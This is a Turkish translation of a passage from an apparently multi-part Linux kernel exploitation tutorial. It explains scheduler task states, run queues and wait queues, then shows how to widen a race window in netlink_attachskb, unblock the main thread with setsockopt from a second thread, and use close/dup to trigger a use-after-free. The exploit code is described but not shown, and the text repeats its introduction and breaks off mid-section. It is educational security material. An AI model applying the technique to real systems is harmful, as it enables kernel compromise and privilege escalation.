Temel Kavramlar #2
Bu ikinci "kavramlar" bölümünde scheduler subsystem (zamanlayıcı alt sistemi) tanıtılacaktır. İlk odak, görev durumları ve bir görevin çeşitli durumlar arasında nasıl geçiş yaptığı üzerinde olacaktır. Bu konuya dair detaylı bilgi için burayı -> Completely Fair Scheduler (CFS) ziyaret edebilirsiniz.
Makalemiz, (wait queues) bekleme kuyruklarını, bir iş parçacığının engelini kaldırmak için ve exploiting sırasında rastgele bir primitif çağrı elde etmek için kullanılacaklarını vurgular.
Task State (Görev Durumu)
Bir görevin çalışma durumu, bir task_struct öğesinin state alanında depolanır. Bir görev temel olarak bu durumlardan birindedir (daha fazlası var):
"Çalışan (running)" bir görev (TASK_RUNNING), çalıştırma kuyruğuna (run queue) ait bir görevdir. Bir CPU üzerinde (şu anda) veya yakın bir gelecekte (zamanlayıcı tarafından seçilirse) çalışıyor olabilir.
"Bekleyen" bir görev herhangi bir CPU üzerinde çalışmaz. Bekleme kuyruklarının veya sinyallerin yardımıyla uyandırılabilir. Bekleyen görevler için en yaygın durum TASK_INTERRUPTIBLE’dır (yani "uyuma" kesintiye uğrayabilir).
Çeşitli görev durumları şu şekilde tanımlanmaktadır:
Durum alanı doğrudan veya "geçerli" makroyu kullanan __set_current_state() yardımcısı aracılığıyla değiştirilebilir:
Run Queues (Kuyrukları (Bekleyen İşlemleri/Prosesleri) Çalıştırma)
struct rq (run queue / çalışma sırası), zamanlayıcı için en önemli veri yapılarından biridir. Çalışma sırasındaki her görev bir CPU tarafından çalıştırılır. Her CPU'nun kendi çalışma sırası vardır (gerçek çoklu görevlere izin verir). Belirli bir CPU üzerinde çalışacak "seçilebilir" (zamanlayıcı tarafından) görevlerin listesini tutar. Ayrıca, zamanlayıcı tarafından "adil" seçimler yapmak ve sonunda her CPU arasındaki yükü (yani CPU geçişi) yeniden dengelemek için kullanılan istatistiklere sahiptir.
Not: "Completely Fair Scheduler (CFS)" ile gerçek görev listesinin saklanma şekli biraz karmaşıktır, ancak burada önemli değildir.
Basit bir şekilde aklınızda tutmak için, herhangi bir çalıştırma kuyruğundan çıkarılan bir görevin çalıştırılmayacağını (yani çalıştıracak CPU olmadığını) göz önünde bulundurun. deactivate_task() fonksiyonu tam olarak bunu yapar. Aksine, activate_task() ise tam tersini yapar (görevi bir çalıştırma kuyruğuna taşır).
Bir Görevi ve schedule() Fonksiyonunu Engelleme
Bir görev çalışan bir durumdan bekleme durumuna geçmek istediğinde, en az iki şey yapması gerekir:
schedule() fonksiyonu, zamanlayıcının ana işlevidir. Schedule() çağrıldığında, sonraki (çalışan) görev CPU üzerinde çalışacak şekilde seçilmelidir. Diğer bir deyişle, çalışma kuyruğunun curr alanı güncelleştirilmelidir.
Ancak, geçerli görev durumu çalışmıyorken schedule() çağrılırsa (yani durumu sıfırdan farklıysa) ve bekleyen sinyal yoksa, deactivate_task() öğesini çağırır:
Sonuç olarak, bir görev aşağıdaki sırayı yaparak engellenebilir:
Görev, başka bir şey onu uyandırana kadar engellenecektir.
Wait Queues (Bekleme Kuyrukları)
Bir kaynak veya özel bir etkinlik için beklemek çok yaygındır. Örneğin, bir sunucu çalıştırırsanız, ana iş parçacığı gelen bağlantıları bekliyor olabilir. "non blocking (engellenmeyen)" olarak işaretlenmedikçe, accept() syscall ana iş parçacığını engeller. Yani, ana iş parçacığı, başka bir şey onu uyandırıncaya kadar kernel tarafında sıkışır.
Bekleme sırası temel olarak şu anda engellenen (bekleyen) işlemlerin iki kat bağlantılı listesidir. Biri bunu çalışma kuyruklarının "tersi" olarak görebilir. Sıranın kendisi wait_queue_head_t ile temsil edilir:
Not: Struct list_head türü, Linux'un iki kat bağlantılı listeyi nasıl uyguladığıdır. Bekleme sırasının her öğesi wait_queue_t türüne sahiptir:
Bekleme sırası öğesi DECLARE_WAITQUEUE() makrosuyla oluşturulabilir...
...ki şu şekilde çağrılır:
Son olarak, bir bekleme kuyruğu öğesi bildirildikten sonra, add_wait_queue() fonksiyonuyla bekleme kuyruğuna alınabilir. Temel olarak, öğeyi uygun kilitleme ile iki kat bağlantılı listeye ekler (bunu şimdilik kafaya takmayın).
add_wait_queue() fonksiyonunun çağrılması "bekleme kuyruğuna kaydolma" olarak da adlandırılır.
Bir Görevi Uyandırma
Şimdiye kadar iki tür kuyruk olduğunu biliyoruz: kuyrukları çalıştır ve kuyrukları bekle (run/wait queues). Bir görevi engellemenin, onu çalıştırma kuyruğundan kaldırmakla ilgili olduğunu gördük.
Şimdiye kadar iki tür kuyruk olduğunu biliyoruz: kuyrukları çalıştır ve kuyrukları bekle (run/wait queues). Bir görevi engellemenin, onu çalıştırma kuyruğundan kaldırmakla ilgili olduğunu gördük (deactivate_task() ile). Fakat engellenen (sleeping) durumdan çalışan duruma nasıl geri dönebilir?
Not: Engellenen görev sinyallerle (ve diğer yollarla) uyandırılabilir, ancak bu konumuz dışıdır.
Engellenen bir görev artık çalışmadığından, kendi kendine uyanamaz. Bunun başka bir görevden yapılması gerekiyor.
Belirli bir kaynağın sahipliğine sahip veri yapıları bekleme kuyruğuna sahiptir. Bir görev bu kaynağa erişmek istediğinde ancak şu anda kullanılamadığında, görev kaynağın sahibi tarafından uyandırılana kadar kendisini uyku durumunda tutabilir.
Kaynak kullanılabilir duruma geldiğinde uyandırılmak için kaynağın bekleme kuyruğuna kaydolması gerekir. Daha önce gördüğümüz gibi, bu "registration" add_wait_queue() çağrısı ile yapılır.
Kaynak kullanılabilir duruma geldiğinde, çalıştırmalarına devam edebilmeleri için sahibi bir veya daha fazla görevi uyandırır. Bu, __wake_up() işleviyle yapılır:
Bu fonksiyon, bekleme sırasındaki her öğe üzerinde yinelenir (list_for_each_entry_safe(), iki kat bağlantılı listeyle kullanılan ortak bir makrodur). Her öğe için func() geri çağrısını çağırır.
DECLARE_WAITQUEUE() makrosunu hatırlıyor musunuz? Fonksiyon geri çağrısını default_wake_function() olarak ayarlar:
Buna karşılık, default_wake_function(), bekleme kuyruğu öğesinin private alanını kullanarak (çoğu zaman uyuyanın task_struct'una işaret eden) try_to_wake_up() öğesini çağırır:
Son olarak, try_to_wake_up() , schedule() öğesinin "tersi"dir. schedule() geçerli görevi "zaman aşımına uğratırken", try_to_wake_up() yeniden zamanlanabilir hale getirir. Yani, bir çalışma kuyruğuna alır ve çalışma durumunu değiştirir!
activate_task() öğesinin çağrıldığı yer burasıdır (başka yerler de vardır). Görev artık bir çalıştırma kuyruğuna geri döndüğünden ve durumu TASK_RUNNING olduğundan, zamanlanmış olma şansı vardır. Bu nedenle, schedule() çağrısından sonra olduğu yerde yürütülmesine devam eder.
Uygulamada, __wake_up() nadiren doğrudan çağrılır. Bunun yerine, bu yardımcı makrolar çağrılır:
Detaylı Bir Örnek
Yukarıda belirtilen kavramları özetlemek için bir örnek:
Bir iş parçacığı, "kaynak (resource)" kullanılamadığı için engellenen task_0_wants_resource_a() fonksiyonunu çalıştırır. Bir noktada, kaynak sahibi onu kullanılabilir hale getirir (başka bir iş parçacığından) ve task_1_makes_resource_available() öğesini çağırır. Bundan sonra task_0_wants_resource_a() işleminin çalıştırılması devam edebilir.
Bu, Linux Kernel kodunda sıklıkla göreceğiniz bir yapıdır, artık ne anlama geldiğini biliyorsunuz. "Kaynak" teriminin burada genel bir şekilde kullanıldığını unutmayın. Görevler bir olayı, gerçekleşecek bir koşulu veya başka bir şeyi bekleyebilir. "blocking" sistem çağrısını her gördüğünüzde, bekleme sırası o kadar da uzak değildir .
Devam edelim ve proof-of-concept’i uygulamaya başlayalım.
Ana İş Parçacığının (Main Thread) Engelini Kaldırma
Önceki bölümde, netlink_attachskb() öğesini 1 döndürmeye zorlamaya çalışırken birkaç sorun ile karşılaştık. İlk sorun, engellemeyi (blocking) oluşturan mq_notify() çağrısıydı. Bunu önlemek için, çağrıyı schedule_timeout() öğesine atlattık, ancak daha sonra sonsuz bir döngü oluşturduk. Hedef dosya tanımlayıcımızı dosya tanımlayıcı tablosundan (FDT) kaldırarak döngüyü durdurduk, bu da tesadüfen son koşulu yerine getirdi: ikinci fget() çağrısını NULL döndürdü. Bu bir SystemTap script'i yardımıyla yapıldı:
Bu kısımda, bir struct sock’un, SOCK_DEAD bayrağını ayarlayan [0] satırını kaldırmaya çalışacağız. Bu, mq_notify() çağrısının tekrar engelleneceği anlamına gelir. Buradan sonra iki ihtimalimiz var:
Race'i Kontrol Etme
Main thread'imizin engellenmesi aslında iyi bir şeydir. Bu, exploit etme bakış açısından bakıldığında aslında bir çeşit hediye Saldırı senaryomuz neydi?
Yani, "small window (küçük pencere)", close() fonksiyonunu çağırma fırsatına sahip olduğumuz yerdir. Bir hatırlatma olarak, close() çağrısı, NULL fget() döndürmek için çağrı yapacak. Pencerenin kendisi get() çağrısı başarılı olduktan sonra başlar ve ikinci get() çağrısından önce durur. Saldırı senaryosunda, netlink_attachskb()'den sonra close() öğesini çağırıyoruz, ancak System Tap script'inde netlink_attachskb() öğesini çağırmadan önce onu gerçekten simüle ettik (close öğesini çağırmıyoruz).
Çağrıyı schedule_timeout() öğesine atlatırsak, pencere gerçekten "küçük" olacaktır. netlink_attachskb() çağırmadan önce kernel veri yapısını değiştirdiğimiz ve bunu SystemTap ile ilgili bir sorun değildi. Kullanıcı tarafında böyle bir lüksümüz olmayacak.
Öte yandan, netlink_attachskb() öğesinin ortasında bloklama yapabilirsek ve bunu bloklamayı kaldırmanın bir yolunu bulabilirsek, pencere aslında istediğimiz kadar büyük olacaktır. Başka bir deyişle, race durumunu kontrol etmek için bir aracımız var. Bunu main thread akışında bir " breakpoint (kesme noktası)" olarak görebiliriz.
Saldırı planı şu hale gelir:
Tamam, main thread'i engellemek race’i kazanmak için iyi bir fikir gibi görünüyor, ama şimdi thread'in engelini kaldırmamızın da gerektiği anlamına geliyor.
"Unblocker (Engel Kaldırma)" Adaylarını Belirleme
Şimdiye kadar "Temel Kavramlar #2" bölümünü anlamadıysanız, geri dönüp bakma zamanı gelmiş olabilir Bu bölümde, netlink_attachskb() öğesinin engellemeye nasıl başladığını ve engellemeyi nasıl kaldırabileceğimizi göreceğiz.
netlink_attachskb()’ye bir daha bakalım:
Kod artık tanıdık gelmeli. __set_current_state(TASK_INTERRUPTIBLE) [1] ve schedule_timeout() [4] birleşimi thread'inin engellenmesini sağlayan şeydir. Koşul [3] doğrudur çünkü:
Not: schedule_timeout çağrısı (MAX_SCHEDULE_TIMEOUT) gerçekten schedule() çağrısına eşdeğerdir.
Bildiğimiz gibi, uyanma sırasına (wake queue) kaydolduysa engellenen bir iş parçacığı uyandırılabilir. Bu kayıt [0] ve [2] ile yapılırken, kayıt dışı bırakma kaydı [6] 'da yapılır. Bekleme kuyruğunun kendisi nlk-> wait'dir. Yani, netlink_sock nesnesine aittir:
Bu, engellenen thread'leri uyandırmanın netlink_sock nesnesinin sorumluluğu olduğu anlamına gelir.
Nlk->wait bekleme kuyruğu aslında dört yerde kullanılmaktadır:
netlink_rcv_wake() fonksiyonu netlink_recvmsg() tarafından çağrılır ve wake_up_interruptible() fonksiyonunu çağırır. Aslında, engellemenin ilk nedeni receive buffer'ının dolu olması nedeniyle mantıklı gelmektedir. netlink_recvmsg() çağrılırsa, receive buffer'da artık daha fazla yer olması ihtimali vardır.
netlink_release() fonksiyonu, ilişkili struct dosyası serbest bırakılmak üzereyken çağrılır (yeniden sayım sıfıra düşer). Bu da, wake_up_interruptible_all() öğesini çağırır.
Son olarak, netlink_setsockopt(), syscall setsockopt() aracılığıyla çağrılır. "Optname" NETLINK_NO_ENOBUFS ise, wake_up_interruptible() çağrılır.
Bu nedenle, thread'imizi uyandırmak için üç adayımız var (__netlink_create() hiçbir şeyi uyandırmadığı için hariç tutuldu). Böyle bir seçimle karşı karşıya kaldığınızda, şu şekilde bir yol istersiniz:
netlink_rcv_wake() yolu en "karmaşık" yoldur. Bir "recvmsg ()" sistem çağrısından ulaşmadan önce, genel soket API'sinde birkaç denetimi geçmemiz gerekir. Ayrıca çeşitli şeyleri tahsis eder. Çağrı izi şu şekildedir:
Buna karşılık, "setsockopt()" için çağrı izi şöyledir:
Çok daha kolay, değil mi?
Setsockopt Syscall'dan wake_up_interruptible() Öğesine Ulaşma
Önceki bölümde setsockopt syscall'dan wake_up_interruptible() öğesine ulaşmanın en basit yol olduğunu gördük. Geçilmesi gereken kontrolleri analiz edelim:
Sistem çağrısının kendisinden, ihtiyacımız olan:
Ek kontroller şunlardır:
Hadi bunu exploit'imize entegre edelim.
Exploit'i Güncelleme
Yukarılarda, setsockopt() syscall yardımıyla kullanıcı tarfından wake_up_interruptible() öğesinin nasıl çağırılacağını gördük. Ancak bir sorun var: engelliyorsak herhangi bir şeyi nasıl arayabiliriz? Cevap: Birden çok thread kullanabilirsiniz!
Öyleyse, başka bir thread oluşturalım (exploit içerisinde unblock_thread olarak adlandırılır) ve exploiti güncelleyelim ("-pthread" ile derleyelim):
"sleep(5)" olarak adlandırdığımızı ve "uta-> is_ready" ile bir şeyler yaptığımızı fark etmiş olabilirsiniz. Hadi bunu açıklayalım.
pthread_create() öğesinin çağrılması, bir thread (yani yeni bir task_struct) oluşturma ve başlatma isteğidir. Görevin oluşturulması, görevin şu anda çalışacağı anlamına gelmez. Thread'in çalışmaya başladığından emin olmak için bir spinlock kullanıyoruz: uta-> is_ready.
Not: Spinlock'lar (etkin) kilitlemenin en basit şeklidir. Temel olarak değişken bir durum değişene kadar bir döngüye girer. Bu "aktif"tir çünkü CPU bu süre zarfında %99 oranında kullanılıyor.
Main thread, unblock_thread kilidini açana kadar bir döngüde sıkışır ('is_ready' değerini true olarak ayarlayın). Aynı şey pthreads bariyeri ile de başarılabilir (her zaman mevcut değildir). Buradaki spinlocking'in isteğe bağlı olduğunu, yalnızca thread oluşturma üzerinde "daha fazla kontrol" sağladığını unutmayın. Diğer bir neden ise, görev oluşturmanın genel olarak exploit'lerin çalışmasını engelleyen çok sayıda bellek ayırması anlamına gelebileceğidir. Son olarak, ileride aynı teknik gerekli olacak, öyleyse şimdiden değinmekte fayda var?
Öte yandan, pthread_create()'ten sonra ana main thread'in "uzun" bir süre için önlendiğini (yani çalıştırılmadığını/yürütülmediğini) varsayalım. Aşağıdaki diziye sahip olabiliriz:
Bu senaryoda, mq_notify engellemeden önce "setsockopt()" çağrısı yapılır. Yani, main thread'in engelini kaldırmaz. Main thread'in kilidini açtıktan sonra sleep(5)'in nedeni budur ('is_ready' doğrudur). Başka bir deyişle, "sadece" mq_notify() çağırmak için en az 5 saniye verir. "5 saniye"nin yeterli olduğunu güvenle varsayabilirsiniz çünkü:
Main thread 5 saniye sonra hala engellenirse, hedeflenen sistem ağır yükler altındaysa, exploit'i yine de çalıştırmamalısınız.
unblock_thread, mq_notify()'dan önce main thread'i (setsockopt()) "race" ederse, her zaman bir CTRL+C komutu gönderebiliriz. Bunu yapmak, netlink_attach skb() öğesinin "-ERESTARTSYS" değerini döndürmesini sağlar. Hata bu yolda tetiklenmez. Exploit'i tekrar deneyebiliriz.
Başka bir deyişle, "controlled windows (denetleyici pencereleri)" süresi artık 5 saniyedir. Sorun şu: main thread'in diğerini uyandırması için uyarmanın bir yolu yok çünkü çalışmamaktadır (krş. temel kavramlar #2). Belki unblock_thread bazı bilgileri bir şekilde çekebilir? İyi... sleep(5) taktiği burada yeterli.
STAP Script'ini Güncelleme
Pekala, yeni exploiti çalıştırmadan önce kurulum komut dosyalarımızı düzenlememiz gerekiyor. Şu anda, netlink_attachskb() öğesini çağırmadan önce netlink soketini (fd=3) kaldırıyoruz. Bu, netlink_attached() girdikten sonra setsockopt() öğesini çağırırsak, sock_fd dosya tanımlayıcısının geçersiz olacağı anlamına gelir (FDT'de NULL'a işaret eder). Diğer bir deyişle, setsockopt() "Hatalı Dosya Tanımlayıcısı" hatasıyla başarısız olur (yani netlink_setsockopt()'a bile ulaşamayız).
Öyleyse, netlink_attachskb()'den dönerken FDT'deki fd "3"ü kaldıralım:
Her zaman olduğu gibi, kodun aktığını görebilmemiz için biraz daha prob ekleyin. Bu bize aşağıdaki çıktıyı verir:
Not: Diğer thread bölümleri net olsun diye kaldırılmıştır.
Mükemmel! 5 saniye boyunca netlink_attachskb() içinde sıkışıp kalıyoruz, diğer thread'ten engelini kaldırıyoruz ve 1 (beklendiği gibi) döndürüyor!
Bu bölümde race'i nasıl kontrol edeceğimizi ve pencereyi süresiz olarak nasıl uzatacağımızı gördük (5 saniyeye düşürdük). Sonra setsockopt() kullanarak main thread'i nasıl uyandıracağımızı gördük. Ayrıca, exploit'imizde olabilecek bir "race"i de ele aldık ve basit bir taktik ile oluşma olasılığını nasıl azaltabileceğimizi gördük. Son olarak, yalnızca kullanıcı tarafı kodunu kullanarak stap script'i tarafından uygulanan gereksinimlerden birini kaldırdık (SOCK'u ölü (dead) olarak işaretleyin). Uygulanması söz konusu olan iki gereksinim daha var.
İkinci Döngüde fget() Fonksiyonunu Başarısız Hale Getirme
Şimdiye kadar, kullanıcı tarafındaki üç gereksinimden birini uyguladık. İşte YAPILACAKLAR listemiz:
Neden fget() NULL Döndürür?
SystemTap ile hedef dosya tanımlayıcınızın FDT girdisini sıfırlamanın fget()'in başarısız olmasına (yani NULL döndürmesine) yettiğini gördük:
fgets()'in yaptığı şey:
Not: Tüm bu yapılar arasındaki ilişkiyi hatırlamıyorsanız, lütfen Temel Kavramlar kısmına geri dönün.
FDT'deki (Dosya Tanımlayıcısı Tablosundaki) Bir Girdiyi Sıfırlama
Stap script'inde "3" dosya tanımlayıcısı için FDT girişini sıfırlarız. Bunu, kullanıcı tarafında nasıl yapabiliriz? Bir FDT girdisini NULL olarak ayarlayan nedir? Cevap: close() sistem çağrısı.
İşte basitleştirilmiş bir sürüm (kilitleme ve hata işleme olmadan):
close() sistem çağrısı:
Yumurta ve Tavuk Sorunu...
setsockopt() öğesini çağırmadan önce unblock_thread öğesinde close() öğesini çağırmanız yeterli olacaktır. Sorun şu ki, setsockopt() geçerli bir dosya tanımlayıcısına ihtiyaç duymaktadır! SystemTap ile bunu zaten deneyimlemiştik, bu yüzden, netlink_attachskb()'den dönerken "fd sıfırlama kodunu" taşıdık (önce değil). Kullanıcı tarafında da aynı sorun mevcut...
setsockopt() fonksiyonundan sonra close() fonksiyonunu çağırmaya ne dersiniz? setsockopt() öğesini çağırdıktan sonra close() öğesini çağırırsak (main thread'in engelini kaldırarak) genişletilmiş pencerelerimizden bir fayda elde edemeyiz. Başka bir deyişle, "küçük pencere" senaryosuna geri dönüyoruz, ki bu hiç istemediğimiz bir şey.
Neyse ki bir yolu var! Temel Kavramlar kısmında, dosya tanımlayıcı tablosunun 1:1 eşleme olmadığını söylemiştik. Diğer bir deyişle, birkaç dosya tanımlayıcısı aynı dosya nesnesine işaret edebilir. İki dosya tanımlayıcısının işaret ettiği bir struct dosyası nasıl yapılır? dup() sistem çağrısı.
Başka bir basit syscall, dup() tam olarak istediğimizi şeyi yapmaktadır:
Exploit'i Güncelleme
Exploit'i güncelleyelim (close/dup çağrıları ekleyelim ve setsockopt() parametrelerini değiştirelim):
Stap komut dosyalarındaki FDT girişini sıfırlayan satırları kaldırmayı ve başlatmayı unutmayın:
BÜYÜK UYARI: İlk Kernel çökmesi! Evet, şimdi use-after-free’yi tetikliyoruz.
Kernel'ın çökmesinin nedeni ilerleyen bölümlerde incelenecektir.
Uzun lafın kısası: dup() nedeniyle, close() öğesini çağırmak netlink_sock nesnesinde bir referans ortaya çıkarmaz. netlink_detachskb(), netlink_sock üzerindeki son referansı gerçekten ortaya çıkarır (ve onu serbest bırakır). Sonunda, "unblock_fd" dosya tanımlayıcısını (netlink_release() içinde) serbest bırakırken, program çıkışı sırasında use-after-free tetiklenir.
Harika! SistemTap olmadan hatayı tetiklemek için iki gerekli koşulu zaten düzelttik. Bir sonraki bölümde devam edelim ve son gereklilikleri uygulayalım.
Bu ikinci "kavramlar" bölümünde scheduler subsystem (zamanlayıcı alt sistemi) tanıtılacaktır. İlk odak, görev durumları ve bir görevin çeşitli durumlar arasında nasıl geçiş yaptığı üzerinde olacaktır. Bu konuya dair detaylı bilgi için burayı -> Completely Fair Scheduler (CFS) ziyaret edebilirsiniz.
Makalemiz, (wait queues) bekleme kuyruklarını, bir iş parçacığının engelini kaldırmak için ve exploiting sırasında rastgele bir primitif çağrı elde etmek için kullanılacaklarını vurgular.
Task State (Görev Durumu)
Bir görevin çalışma durumu, bir task_struct öğesinin state alanında depolanır. Bir görev temel olarak bu durumlardan birindedir (daha fazlası var):
- Çalışıyor: proses çalışıyor veya bir CPU üzerinde çalıştırılmayı bekliyor
- Bekliyor: proses bir olay/kaynak için bekliyor/uyuyor.
"Çalışan (running)" bir görev (TASK_RUNNING), çalıştırma kuyruğuna (run queue) ait bir görevdir. Bir CPU üzerinde (şu anda) veya yakın bir gelecekte (zamanlayıcı tarafından seçilirse) çalışıyor olabilir.
"Bekleyen" bir görev herhangi bir CPU üzerinde çalışmaz. Bekleme kuyruklarının veya sinyallerin yardımıyla uyandırılabilir. Bekleyen görevler için en yaygın durum TASK_INTERRUPTIBLE’dır (yani "uyuma" kesintiye uğrayabilir).
Çeşitli görev durumları şu şekilde tanımlanmaktadır:
Kod:
// [include/linux/sched.h]
#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
// ... cut (other states) ...
Durum alanı doğrudan veya "geçerli" makroyu kullanan __set_current_state() yardımcısı aracılığıyla değiştirilebilir:
Kod:
// [include/linux/sched.h]
#define __set_current_state(state_value) \
do { current->state = (state_value); } while (0)
Run Queues (Kuyrukları (Bekleyen İşlemleri/Prosesleri) Çalıştırma)
struct rq (run queue / çalışma sırası), zamanlayıcı için en önemli veri yapılarından biridir. Çalışma sırasındaki her görev bir CPU tarafından çalıştırılır. Her CPU'nun kendi çalışma sırası vardır (gerçek çoklu görevlere izin verir). Belirli bir CPU üzerinde çalışacak "seçilebilir" (zamanlayıcı tarafından) görevlerin listesini tutar. Ayrıca, zamanlayıcı tarafından "adil" seçimler yapmak ve sonunda her CPU arasındaki yükü (yani CPU geçişi) yeniden dengelemek için kullanılan istatistiklere sahiptir.
Kod:
/ [kernel/sched.c]
struct rq {
unsigned long nr_running; // <----- statistics
u64 nr_switches; // <----- statistics
struct task_struct *curr; // <----- the current running task on the cpu
// ...
};
Not: "Completely Fair Scheduler (CFS)" ile gerçek görev listesinin saklanma şekli biraz karmaşıktır, ancak burada önemli değildir.
Basit bir şekilde aklınızda tutmak için, herhangi bir çalıştırma kuyruğundan çıkarılan bir görevin çalıştırılmayacağını (yani çalıştıracak CPU olmadığını) göz önünde bulundurun. deactivate_task() fonksiyonu tam olarak bunu yapar. Aksine, activate_task() ise tam tersini yapar (görevi bir çalıştırma kuyruğuna taşır).
Bir Görevi ve schedule() Fonksiyonunu Engelleme
Bir görev çalışan bir durumdan bekleme durumuna geçmek istediğinde, en az iki şey yapması gerekir:
- Kendi çalışma durumunu TASK_INTERRUPTIBLE olarak ayarlar
- Çalıştırma kuyruğundan çıkmak için deactivate_task() öğesini çağırır
schedule() fonksiyonu, zamanlayıcının ana işlevidir. Schedule() çağrıldığında, sonraki (çalışan) görev CPU üzerinde çalışacak şekilde seçilmelidir. Diğer bir deyişle, çalışma kuyruğunun curr alanı güncelleştirilmelidir.
Ancak, geçerli görev durumu çalışmıyorken schedule() çağrılırsa (yani durumu sıfırdan farklıysa) ve bekleyen sinyal yoksa, deactivate_task() öğesini çağırır:
Kod:
asmlinkage void __sched schedule(void)
{
struct task_struct *prev, *next;
unsigned long *switch_count;
struct rq *rq;
int cpu;
// ... cut ...
prev = rq->curr; // <---- "prev" is the task running on the current CPU
if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) { // <----- ignore the "preempt" stuff
if (unlikely(signal_pending_state(prev->state, prev)))
prev->state = TASK_RUNNING;
else
deactivate_task(rq, prev, DEQUEUE_SLEEP); // <----- task is moved out of run queue
switch_count = &prev->nvcsw;
}
// ... cut (choose the next task) ...
}
Sonuç olarak, bir görev aşağıdaki sırayı yaparak engellenebilir:
Kod:
void make_it_block(void)
{
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}
Görev, başka bir şey onu uyandırana kadar engellenecektir.
Wait Queues (Bekleme Kuyrukları)
Bir kaynak veya özel bir etkinlik için beklemek çok yaygındır. Örneğin, bir sunucu çalıştırırsanız, ana iş parçacığı gelen bağlantıları bekliyor olabilir. "non blocking (engellenmeyen)" olarak işaretlenmedikçe, accept() syscall ana iş parçacığını engeller. Yani, ana iş parçacığı, başka bir şey onu uyandırıncaya kadar kernel tarafında sıkışır.
Bekleme sırası temel olarak şu anda engellenen (bekleyen) işlemlerin iki kat bağlantılı listesidir. Biri bunu çalışma kuyruklarının "tersi" olarak görebilir. Sıranın kendisi wait_queue_head_t ile temsil edilir:
Kod:
// [include/linux/wait.h]
typedef struct __wait_queue_head wait_queue_head_t;
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
Not: Struct list_head türü, Linux'un iki kat bağlantılı listeyi nasıl uyguladığıdır. Bekleme sırasının her öğesi wait_queue_t türüne sahiptir:
Kod:
// [include/linux.wait.h]
typedef struct __wait_queue wait_queue_t;
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);
struct __wait_queue {
unsigned int flags;
void *private;
wait_queue_func_t func; // <----- we will get back to this
struct list_head task_list;
};
Bekleme sırası öğesi DECLARE_WAITQUEUE() makrosuyla oluşturulabilir...
Kod:
// [include/linux/wait.h]
#define __WAITQUEUE_INITIALIZER(name, tsk) { \
.private = tsk, \
.func = default_wake_function, \
.task_list = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk) \
wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk) // <----- it creates a variable!
...ki şu şekilde çağrılır:
Kod:
DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <----- use the "current" macro
Son olarak, bir bekleme kuyruğu öğesi bildirildikten sonra, add_wait_queue() fonksiyonuyla bekleme kuyruğuna alınabilir. Temel olarak, öğeyi uygun kilitleme ile iki kat bağlantılı listeye ekler (bunu şimdilik kafaya takmayın).
Kod:
// [kernel/wait.c]
void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
unsigned long flags;
wait->flags &= ~WQ_FLAG_EXCLUSIVE;
spin_lock_irqsave(&q->lock, flags);
__add_wait_queue(q, wait); // <----- here
spin_unlock_irqrestore(&q->lock, flags);
}
static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
{
list_add(&new->task_list, &head->task_list);
}
add_wait_queue() fonksiyonunun çağrılması "bekleme kuyruğuna kaydolma" olarak da adlandırılır.
Bir Görevi Uyandırma
Şimdiye kadar iki tür kuyruk olduğunu biliyoruz: kuyrukları çalıştır ve kuyrukları bekle (run/wait queues). Bir görevi engellemenin, onu çalıştırma kuyruğundan kaldırmakla ilgili olduğunu gördük.
Şimdiye kadar iki tür kuyruk olduğunu biliyoruz: kuyrukları çalıştır ve kuyrukları bekle (run/wait queues). Bir görevi engellemenin, onu çalıştırma kuyruğundan kaldırmakla ilgili olduğunu gördük (deactivate_task() ile). Fakat engellenen (sleeping) durumdan çalışan duruma nasıl geri dönebilir?
Not: Engellenen görev sinyallerle (ve diğer yollarla) uyandırılabilir, ancak bu konumuz dışıdır.
Engellenen bir görev artık çalışmadığından, kendi kendine uyanamaz. Bunun başka bir görevden yapılması gerekiyor.
Belirli bir kaynağın sahipliğine sahip veri yapıları bekleme kuyruğuna sahiptir. Bir görev bu kaynağa erişmek istediğinde ancak şu anda kullanılamadığında, görev kaynağın sahibi tarafından uyandırılana kadar kendisini uyku durumunda tutabilir.
Kaynak kullanılabilir duruma geldiğinde uyandırılmak için kaynağın bekleme kuyruğuna kaydolması gerekir. Daha önce gördüğümüz gibi, bu "registration" add_wait_queue() çağrısı ile yapılır.
Kaynak kullanılabilir duruma geldiğinde, çalıştırmalarına devam edebilmeleri için sahibi bir veya daha fazla görevi uyandırır. Bu, __wake_up() işleviyle yapılır:
Kod:
// [kernel/sched.c]
/**
* __wake_up - wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake up
* @key: is directly passed to the wakeup function
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
void __wake_up(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, void *key)
{
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__wake_up_common(q, mode, nr_exclusive, 0, key); // <----- here
spin_unlock_irqrestore(&q->lock, flags);
}
Kod:
// [kernel/sched.c]
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
[0] list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
[1] if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
Bu fonksiyon, bekleme sırasındaki her öğe üzerinde yinelenir (list_for_each_entry_safe(), iki kat bağlantılı listeyle kullanılan ortak bir makrodur). Her öğe için func() geri çağrısını çağırır.
DECLARE_WAITQUEUE() makrosunu hatırlıyor musunuz? Fonksiyon geri çağrısını default_wake_function() olarak ayarlar:
Kod:
// [include/linux/wait.h]
#define __WAITQUEUE_INITIALIZER(name, tsk) { \
.private = tsk, \
.func = default_wake_function, \ // <------
.task_list = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk) \
wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk)
Buna karşılık, default_wake_function(), bekleme kuyruğu öğesinin private alanını kullanarak (çoğu zaman uyuyanın task_struct'una işaret eden) try_to_wake_up() öğesini çağırır:
Kod:
